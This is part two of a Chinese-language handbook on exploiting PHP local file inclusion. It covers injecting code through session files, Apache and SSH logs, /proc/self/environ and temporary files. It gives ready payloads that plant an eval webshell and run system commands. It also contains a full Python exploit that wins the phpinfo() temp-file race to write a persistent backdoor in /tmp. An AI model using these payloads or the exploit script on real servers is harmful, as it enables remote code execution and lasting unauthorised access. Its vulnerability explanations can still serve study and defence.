接上一篇:PHP文件包含漏洞利用思路與Bypass總結手冊(一)
包含Session
在了解session包含文件漏洞及繞過姿勢的時候,我們應該首先了解一下伺服器上針對用戶會話session的存儲與處理是什麼過程,只有了解了其存儲和使用機制我們才能夠合理的去利用它得到我們想要的結果。
Session存儲
存儲方式
Java是將用戶的session存入內存中,而PHP則是將session以文件的形式存儲在伺服器某個文件中,可以在php.ini裡面設置session的存儲位置session.save_path。
可以通過phpinfo查看session.save_path的值
知道session的存儲後,總結常見的php-session默認存放位置是很有必要的,因為在很多時候伺服器都是按照默認設置來運行的,這個時候假如我們發現了一個沒有安全措施的session包含漏洞就可以嘗試利用默認的會話存放路徑去包含利用。
默認路徑
命名格式
如果某個伺服器存在session包含漏洞,要想去成功的包含利用的話,首先必須要知道的是伺服器是如何存放該文件的,只要知道了其命名格式我們才能夠正確的去包含該文件。
session的文件名格式為sess_[phpsessid]。而phpsessid在發送的請求的cookie欄位中可以看到。
會話處理
在了解了用戶會話的存儲下來就需要了解php是如何處理用戶的會話信息。php中針對用戶會話的處理方式主要取決於伺服器在php.ini或代碼中對
session.serialize_handler的配置。
session.serialize_handler
PHP中處理用戶會話信息的主要是下面定義的兩種方式
session.serialize_handler = php 一直都在(默認方式) 它是用 |分割session.serialize_handler = php_serialize php5.5之後啟用 它是用serialize反序列化格式分割
下面看一下針對PHP定義的不同方式對用戶的session是如何處理的,我們只有知道了伺服器是如何存儲session信息的,才能夠往session文件裡面傳入我們所精心製作的惡意代碼。
session.serialize_handler=php
伺服器在配置文件或代碼裡面沒有對session進行配置的話,PHP默認的會話處理方式就是session.serialize_handler=php這種模式機制。
下面通過一個簡單的用戶會話過程了解session.serialize_handler=php是如何工作的。
session.php
從圖中可以看到默認session.serialize_handler=php處理模式只對用戶名的內容進行了序列化存儲,沒有對變量名進行序列化,可以看作是伺服器對用戶會話信息的半序列化存儲過程。
session.serialize_handler=php_serialize
php5.5之後啟用這種處理模式,它是用serialize反序列化格式進行存儲用戶的會話信息。一樣的通過一個簡單的用戶會話過程了解session.serialize_handler=php_serialize是如何工作的。這種模式可以在php.ini或者代碼中進行設置。
session.php
從圖中可以看到session.serialize_handler=php_serialize處理模式,對整個session信息包括文件名、文件內容都進行了序列化處理,可以看作是伺服器對用戶會話信息的完全序列化存儲過程。
對比上面session.serialize_handler的兩種處理模式,可以看到他們在session處理上的差異,既然有差異我們就要合理的去利用這兩種處理模式,假如編寫代碼不規範的時候處理session同時用了兩種模式,那麼在攻擊者可以利用的情況下,很可能會造成session反序列化漏洞。
Session利用
介紹了用戶會話的存儲和處理機制後,我們就可以去深入的理解session文件包含漏洞。LFI本地文件包含漏洞主要是包含本地伺服器上存儲的一些文件,例如Session會話文件、日誌文件、臨時文件等。但是,只有我們能夠控制包含的文件存儲我們的惡意代碼才能拿到伺服器權限。
其中針對LFI Session文件的包含或許是現在見的比較多,簡單的理解session文件包含漏洞就是在用戶可以控制session文件中的一部分信息,然後將這部分信息變成我們的精心構造的惡意代碼,之後去包含含有我們傳入惡意代碼的這個session文件就可以達到攻擊效果。下面通過一個簡單的案例演示這個漏洞利用攻擊的過程。
測試代碼
session.php
index.php
<?php $file = $_GET['file']; include($file);?>
漏洞利用
利用條件:session文件路徑已知,且其中內容部分可控。
利用姿勢:
分析session.php可以看到用戶會話信息username的值用戶是可控的,因為伺服器沒有對該部分作出限制。那麼我們就可以傳入惡意代碼就行攻擊利用
payload
http://192.33.6.145/FI/session/session.phpPOSTusername=<?php eval($_REQUEST[Qftm]);?>
可以看到有會話產生,同時我們也已經寫入了我們的惡意代碼。
既然已經寫入了惡意代碼,下來就要利用文件包含漏洞去包含這個惡意代碼,執行我們想要的結果。藉助上一步產生的sessionID進行包含利用構造相應的payload。
payload
PHPSESSID:7qefqgu07pluu38m45isiesq3sindex.php?file=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3sPOSTQftm=system('whoami');
從攻擊結果可以看到我們的payload和惡意代碼確實都已經正常解析和執行。
包含日誌
訪問日誌
利用條件:
1、需要知道伺服器日誌的存儲路徑2、日誌文件可讀
利用姿勢:
很多時候,web伺服器會將請求寫入到日誌文件中,比如說apache。在用戶發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log。
默認情況下apache log的位置:
Debian分支(Ubuntu等) /var/log/apache2/access.logFedora分支(Centos等) /var/log/httpd/access_log
如果是直接發起請求,會導致一些符號被編碼使得包含無法正確解析。可以使用burp截包後修改。
利用LFI:
index.php?file=../../../../../var/log/apache2/access.log
當日誌文件沒有Read權限時則會返回bool(false)
ps:在一些場景中,log的地址是被修改掉的。你可以通過讀取相應的配置文件後,再進行包含。
SSH日誌
利用條件:
1、需要知道ssh-log的位置2、日誌文件可讀
利用姿勢:
默認情況下ssh log的位置:
Debian分支(Ubuntu等) /var/log/auth.logFedora分支(Centos等) /var/log/secure
用ssh連接:
→ Qftm ← :~# ssh '<?php phpinfo(); ?>'@remotehost
之後會提示輸入密碼等等,隨便輸入,然後在remotehost的ssh-log中即可寫入php代碼:
利用LFI:
index.php?file=../../../../../var/log/auth.log
包含environ
php的4種常見運行方式
SAPI:Server Application Programming Interface服務端應用編程埠。他就是php與其他應用交互的接口,php腳本要執行有很多中方式,通過web伺服器,或者直接在命令行行下,也可以嵌入其他程序中。SAPI提供了一個和外部通信的接口,常見的SAPI有:cgi、fast-cgi、cli、Web模塊模式等。
CGI
CGI即通用網關接口(common gatewag interface),它是一段程序,通俗的講CGI就象是一座橋,把網頁和WEB伺服器中的執行程序連接起來,它把HTML接收的指令傳遞給伺服器的執 行程序,再把伺服器執行程序的結果返還給HTML頁。CGI 的跨平臺性能極佳,幾乎可以在任何作業系統上實現。CGI已經是比較老的模式了,這幾年都很少用了。
CGI方式在遇到連接請求(用戶 請求)先要創建cgi的子進程,激活一個CGI進程,然後處理請求,處理完後結束這個子進程。這就是fork-and-execute模式。所以用cgi 方式的伺服器有多少連接請求就會有多少cgi子進程,子進程反覆加載是cgi性能低下的主要原因。都會當用戶請求數量非常多時,會大量擠佔系統的資源如內 存,CPU時間等,造成效能低下。
FastCGI
fast-cgi 是cgi的升級版本,FastCGI像是一個常駐(long-live)型的CGI,它可以一直執行著,只要激活後,不會每次都要花費時間去fork一 次。PHP使用PHP-FPM(FastCGI Process Manager),全稱PHP FastCGI進程管理器進行管理。
Web Server啟動時載入FastCGI進程管理器(IIS ISAPI或Apache Module)。FastCGI進程管理器自身初始化,啟動多個CGI解釋器進程(可見多個php-cgi)並等待來自Web Server的連接。
當客戶端請求到達Web Server時,FastCGI進程管理器選擇並連接到一個CGI解釋器。Web server將CGI環境變量和標準輸入發送到FastCGI子進程php-cgi。
FastCGI子進程完成處理後將標準輸出和錯誤信息從同一連接返回Web Server。當FastCGI子進程關閉連接時,請求便告處理完成。FastCGI子進程接著等待並處理來自FastCGI進程管理器(運行在Web Server中)的下一個連接。在CGI模式中,php-cgi在此便退出了。
在上述情況中,你可以想像CGI通常有多慢。每一個Web 請求PHP都必須重新解析php.ini、重新載入全部擴展並重初始化全部數據結構。使用FastCGI,所有這些都只在進程啟動時發生一次。一個額外的 好處是,持續資料庫連接(Persistent database connection)可以工作。
模塊模式
Apache 2.0 Handler
PHP作為Apache模塊,Apache伺服器在系統啟動後,預先生成多個進程副本駐留在內存中,一旦有請求出 現,就立即使用這些空餘的子進程進行處理,這樣就不存在生成子進程造成的延遲了。這些伺服器副本在處理完一次HTTP請求之後並不立即退出,而是停留在計算機中等待下次請求。對於客戶瀏覽器的請求反應更快,性能較高。
CLI
cli是php的命令行運行模式,大家經常會使用它,但是可能並沒有注意到(例如:我們在linux下經常使用 「php -m」查找PHP安裝了那些擴展就是PHP命令行運行模式)。
phpinfo 查看SAPI
CGI
利用條件:
1、php以cgi方式運行,這樣environ才會保存UA頭。2、environ文件存儲位置已知,且environ文件可讀。
利用姿勢:
proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。
包含臨時文件
假如在伺服器上找不到我們可以包含的文件,那該怎麼辦,此時可以通過利用一些技巧讓服務存儲我們惡意生成的臨時文件,該臨時文件包含我們構造的的惡意代碼,此時伺服器就存在我們可以包含的文件。
目前,常見的兩種臨時文件包含漏洞利用方法主要是:
PHPINFO() and PHP7 Segment Fault,利用這兩種奇技淫巧可以向伺服器上傳文件同時在伺服器上生成惡意的臨時文件,然後將惡意的臨時文件包含就可以達到任意代碼執行效果也就可以拿到伺服器權限進行後續操作。
臨時文件
在了解漏洞利用方式的時候,先來了解一下PHP臨時文件的機制
全局變量
在PHP中可以使用POST方法或者PUT方法進行文本和二進位文件的上傳。上傳的文件信息會保存在全局變量$_FILES裡。
$_FILES超級全局變量很特殊,他是預定義超級全局數組中唯一的二維數組。其作用是存儲各種與上傳文件有關的信息,這些信息對於通過PHP腳本上傳到伺服器的文件至關重要。
$_FILES['userfile']['name'] 客戶端文件的原名稱。$_FILES['userfile']['type'] 文件的 MIME 類型,如果瀏覽器提供該信息的支持,例如"image/gif"。$_FILES['userfile']['size'] 已上傳文件的大小,單位為字節。$_FILES['userfile']['tmp_name'] 文件被上傳後在服務端儲存的臨時文件名,一般是系統默認。可以在php.ini的upload_tmp_dir 指定,默認是/tmp目錄。$_FILES['userfile']['error'] 該文件上傳的錯誤代碼,上傳成功其值為0,否則為錯誤信息。$_FILES['userfile']['tmp_name'] 文件被上傳後在服務端存儲的臨時文件名
在臨時文件包含漏洞中$_FILES['userfile']['name']這個變量值的獲取很重要,因為臨時文件的名字都是由隨機函數生成的,只有知道文件的名字才能正確的去包含它。
存儲目錄
文件被上傳後,默認會被存儲到服務端的默認臨時目錄中,該臨時目錄由php.ini的
upload_tmp_dir屬性指定,假如upload_tmp_dir的路徑不可寫,PHP會上傳到系統默認的臨時目錄中。
不同系統伺服器常見的臨時文件默認存儲目錄,了解系統的默認存儲路徑很重要,因為在很多時候伺服器都是按照默認設置來運行的。
Linux目錄
Linxu系統服務的臨時文件主要存儲在根目錄的tmp文件夾下,具有一定的開放權限。
/tmp/
Windows目錄
Windows系統服務的臨時文件主要存儲在系統盤Windows文件夾下,具有一定的開放權限。
C:/Windows/C:/Windows/Temp/
命名規則
存儲在伺服器上的臨時文件的文件名都是隨機生成的,了解不同系統伺服器對臨時文件的命名規則很重要,因為有時候對於臨時文件我們需要去爆破,此時我們必須知道它的命名規則是什麼。
可以通過phpinfo來查看臨時文件的信息。
Linux Temporary File
Linux臨時文件主要存儲在/tmp/目錄下,格式通常是(/tmp/php[6個隨機字符])
Windows Temporary File
Windows臨時文件主要存儲在C:/Windows/目錄下,格式通常是(C:/Windows/php[4個隨機字符].tmp)
PHPINFO()
通過上面的介紹,伺服器上存儲的臨時文件名是隨機的,這就很難獲取其真實的文件名。不過,如果目標網站上存在phpinfo,則可以通過phpinfo來獲取臨時文件名,進而進行包含。
測試代碼
index.php
phpinfo.php
漏洞分析
當我們在給PHP發送POST數據包時,如果數據包裡包含文件區塊,無論你訪問的代碼中有沒有處理文件上傳的邏輯,PHP都會將這個文件保存成一個臨時文件。文件名可以在$_FILES變量中找到。這個臨時文件,在請求結束後就會被刪除。
利用phpinfo的特性可以很好的幫助我們,因為phpinfo頁面會將當前請求上下文中所有變量都列印出來,所以我們如果向phpinfo頁面發送包含文件區塊的數據包,則即可在返回包裡找到$_FILES變量的內容,拿到臨時文件變量名之後,就可以進行包含執行我們傳入的惡意代碼。
漏洞利用
利用條件
無 PHPINFO的這種特性源於php自身,與php的版本無關
測試腳本
探測是否存在phpinfo包含臨時文件信息
運行腳本可以看到回顯中有如下內容
Linux
Windows
利用原理
驗證了phpinfo的特性確實存在,所以在文件包含漏洞找不到可利用的文件時,我們就可以利用這一特性,找到並提取臨時文件名,然後包含之即可Getshell。
但文件包含漏洞和phpinfo頁面通常是兩個頁面,理論上我們需要先發送數據包給phpinfo頁面,然後從返回頁面中匹配出臨時文件名,再將這個文件名發送給文件包含漏洞頁面,進行getshell。在第一個請求結束時,臨時文件就被刪除了,第二個請求自然也就無法進行包含。
利用過程
這個時候就需要用到條件競爭,具體原理和過程如下:
(1)發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據
(2)因為phpinfo頁面會將所有數據都列印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大
(3)php默認的輸出緩衝區大小為4096,可以理解為php每次返回4096個字節給socket連接
(4)所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符裡包含臨時文件名,就立即發送第二個數據包
(5)此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除
(6)利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell
(參考ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion)
Getshell
exp.py
#!/usr/bin/python#python version 2.7import sysimport threadingimport socketdef setup(host, port): TAG = "Security Test" PAYLOAD = """%s\r<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>\r""" % TAG # PAYLOAD = """%s\r # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>\r""" % TAG REQ1_DATA = """----7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s----7dbff1ded0714--\r""" % PAYLOAD padding = "A" * 5000 REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """ + padding + """\rHTTP_ACCEPT_LANGUAGE: """ + padding + """\rHTTP_PRAGMA: """ + padding + """\rContent-Type: multipart/form-data; boundary=--7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" % (len(REQ1_DATA), host, REQ1_DATA) # modify this to suit the LFI script LFIREQ = """GET /index.php?file=%s HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r""" return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i + 17:i + 31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fncounter = 0class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter += 1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/Qftm.php" self.event.set() except socket.error: returndef getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d += i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i + 10], i) # padded up a bit return i + 256def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port = 80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz = 10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0, poolsz): tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join()if __name__ == "__main__": main()
運行腳本Getshell
包含生成/tmp/Qftm後門文件
拿到RCE之後,可以查看tmp下生成的後門文件
http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system(%27ls%20/tmp/%27)
然後使用後門管理工具連接後門webshell
/tmp/Qftm <?php eval($_REQUEST[Qftm])?>
包含上傳文件
利用條件:千變萬化,不過至少得知道上傳的文件在哪,叫什麼名字!!!
利用姿勢:不說了,太多了!!!
其它包含
一個web服務往往會用到多個其他服務,比如ftp服務、smb服務、資料庫等等。這些應用也會產生相應的文件,但這就需要具體情況具體分析。這裡就不展開了。
......未完待續
合天網安實驗室相關實驗推薦==文件包含漏洞(文件包含分為遠程文件和本地文件包含,總結分析程序漏洞和伺服器配置容易犯的錯誤。)